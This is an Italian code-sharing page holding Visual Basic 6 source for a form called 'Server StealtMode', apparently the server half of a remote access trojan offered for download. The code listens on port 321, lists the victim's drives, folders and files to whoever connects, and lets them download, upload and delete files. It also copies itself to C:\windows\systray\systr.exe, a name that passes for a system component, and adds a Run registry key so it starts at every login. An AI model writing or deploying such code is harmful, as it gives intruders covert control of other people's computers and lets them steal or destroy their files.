Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
EsR V3.0 - Server StealtMode.frm

Server StealtMode.frm

Caricato da: P4p3r0g4
Scarica il programma completo

  1. Option Explicit
  2. Dim k, d, f, x As Integer
  3. Dim conteggio As Double
  4. Dim Drive(0 To 100) As String
  5. Dim file(0 To 300) As String
  6. Dim dir(0 To 150) As String
  7. Dim datiricevuti As String
  8. Dim IpAdress As String
  9. Dim wsstate As Integer '(0 normal,1 sincronizzazione,2 downloading,3 uploading)
  10. Private Sub Combo1_Click()
  11. On Error Resume Next
  12. Drive1.Drive = Combo1.List(Combo1.ListIndex)
  13. End Sub
  14. Private Sub Dir1_Change()
  15. File1.Path = Dir1.Path
  16. Call Aggiorna
  17. End Sub
  18. Private Sub Drive1_Change()
  19. On Error Resume Next
  20. Dir1.Path = Drive1.Drive
  21. End Sub
  22. Private Sub Aggiorna()
  23. List1.Clear
  24. List2.Clear
  25. For k = 0 To (Drive1.ListCount - 1)
  26. Drive(k) = Drive1.List(k)
  27. Combo1.List(k) = Drive(k)
  28. Next k
  29. List1.AddItem ("..")
  30. For d = 0 To (Dir1.ListCount - 1)
  31. dir(d) = Dir1.List(d)
  32. List1.List(d + 1) = dir(d)
  33. Next d
  34. For f = 0 To (File1.ListCount - 1)
  35. file(f) = File1.List(f)
  36. List2.List(f) = file(f)
  37. Next f
  38. resend
  39. End Sub
  40. Private Sub connetti()
  41. wsk.Close
  42. wsk.LocalPort = 321
  43. wsk.Listen
  44. End Sub
  45. Private Sub Form_Load()
  46. connetti
  47. End Sub
  48. Private Sub List1_dblClick()
  49. On Error GoTo Error
  50. Dir1.Path = List1.List(List1.ListIndex)
  51. Error:
  52. End Sub
  53.  
  54. Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
  55. If wsk.State <> sckClosed Then wsk.Close
  56. wsk.Accept requestID
  57. IpAdress = wsk.RemoteHostIP
  58. Aggiorna
  59. End Sub
  60.  
  61. Public Sub resend()
  62. Do Until wsk.State = sckConnected
  63. Loop
  64. wsstate = 1
  65. wsk.SendData "Sincr"
  66. DoEvents
  67. On Error Resume Next
  68. For k = 0 To List2.ListCount - 1
  69. wsk.SendData "file:" & List2.List(k)
  70. DoEvents
  71. Next k
  72. For k = 0 To Combo1.ListCount - 1
  73. wsk.SendData "drive:" & Combo1.List(k)
  74. DoEvents
  75. Next k
  76. For k = 0 To List1.ListCount - 1
  77. wsk.SendData "dir:" & List1.List(k)
  78. DoEvents
  79. Next k
  80. wsk.SendData "path:" & Dir1.Path
  81. DoEvents
  82. wsk.SendData "End"
  83. DoEvents
  84. wsstate = 0
  85. End Sub
  86. Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
  87. Dim sentdata As String
  88. wsk.GetData datiricevuti
  89. Select Case wsstate
  90. Case 0 '------------------------------------NORMALITA'-----------------------
  91. If Mid(datiricevuti, 1, 7) = "upload:" Then
  92. Open Dir1.Path & "\" & Mid(datiricevuti, 8) For Binary As #1
  93. wsstate = 3
  94. Exit Sub
  95. ElseIf Mid(datiricevuti, 1, 9) = "download:" Then
  96. Open File1.Path & "\" & Mid(datiricevuti, 10) For Binary As #1
  97. wsk.SendData "down"
  98. DoEvents
  99. sentdata = Space(4000)
  100. For conteggio = 0 To CLng(LOF(1) / 4000)
  101. Get #1, conteggio * CLng(4000) + 1, sentdata
  102. wsk.SendData sentdata
  103. DoEvents
  104. Next conteggio
  105. wsk.SendData "Ter"
  106. DoEvents
  107. Close #1
  108. ElseIf Mid(datiricevuti, 1, 6) = "drive:" Then
  109. Combo1.ListIndex = Mid(datiricevuti, 7, Len(datiricevuti) - 6)
  110. ElseIf Mid(datiricevuti, 1, 4) = "dir:" Then
  111. List1.ListIndex = Mid(datiricevuti, 5, Len(datiricevuti) - 4)
  112. List1_dblClick
  113. ElseIf Mid(datiricevuti, 1, 5) = "kill:" Then
  114. On Error Resume Next
  115. Kill (Dir1.Path & "\" & (Mid(datiricevuti, 6, Len(datiricevuti) - 5)))
  116. File1.Refresh
  117. Call Aggiorna
  118. End If
  119. Case 3 '------------------------------------UPLOADING-----------------------
  120. If datiricevuti = "upend" Then
  121. Close #1
  122. wsstate = 0
  123. Exit Sub
  124. End If
  125. Put #1, , datiricevuti
  126. End Select
  127. End Sub
  128.  
  129. Private Sub Timer1_Timer()
  130. If Not App.Path = "C:\windows\systray" Then
  131.     On Error Resume Next
  132.     Dim addsta
  133.     MkDir "C:\windows\systray\"
  134.     Set addsta = CreateObject("WScript.Shell")
  135.     addsta.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Systray", "C:\windows\systray\systr.exe", "REG_SZ"
  136.     Call FileCopy(App.Path & "\" & App.EXEName & ".exe", "C:\windows\systray\systr.exe")
  137.     On Error GoTo 0
  138. End If
  139. Select Case wsk.State
  140. Case sckClosing
  141. wsk.Close
  142. wsk.LocalPort = 321
  143. wsk.Listen
  144. Case sckError
  145. wsk.Close
  146. wsk.LocalPort = 321
  147. wsk.Listen
  148. End Select
  149. End Sub